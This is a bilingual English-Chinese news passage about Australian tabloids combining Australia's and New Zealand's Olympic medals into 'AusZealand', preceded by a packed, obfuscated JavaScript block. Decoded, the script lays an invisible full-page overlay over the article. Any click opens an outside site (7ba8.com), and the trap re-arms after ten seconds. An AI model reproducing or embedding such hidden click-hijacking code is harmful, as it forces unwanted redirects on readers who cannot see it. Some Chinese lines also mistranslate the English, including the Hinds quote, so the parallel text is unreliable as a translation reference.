<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>
In a last-ditch attempt for Games glory, Australia's tabloid media have tried different tactics to boost the nation's sporting achievements - including creating a new country "AusZealand".
为了竭尽全力展示奥运会的荣耀,澳大利亚的小报用了各种方式增加他们国家在运动方面的成就,其中就包括了创造了一个新的国家:“澳西兰”。
Sydney's Daily Telegraph has decided to combine Australia's success with its neighbour, which is in a respectable ninth place. Australia has only won a single gold medal, compared to the Kiwis' three.
悉尼每日电讯报决定把澳大利亚与他的邻国结合在一起,成功的到达了奖牌榜的第九位。澳大利亚只获得了一块金牌,而新西兰则有3块。
The newspaper's Richard Hinds wrote: "In London, Australians are finding themselves constantly compared to the buoyant British who, by Friday night, had won eight gold medals.
报社的记者Richard Hinds这样写道:“在伦敦,澳洲人比起那些轻浮的英国人更努力,并且在周五晚上赢了8块金牌。”
The fierce rivalry between the neighbours has led Australia's Channel 9 to only show the top nine places in the Olympic medal table, cutting off New Zealand who were at the time in tenth place.
两个邻国之间的激烈竞争使得澳大利亚9频道只展示奥运奖牌榜的前9位,把第十位的新西兰排开在外。
New Zealand has just a fifth of Australia's population - just four million people. On a medal table based on national population New Zealand would be in first place.
新西兰人口只有澳大利亚的5分之一,只有400万人。而在此前根据“人均金牌产出率”的另类奖牌榜上新西兰排第一。
|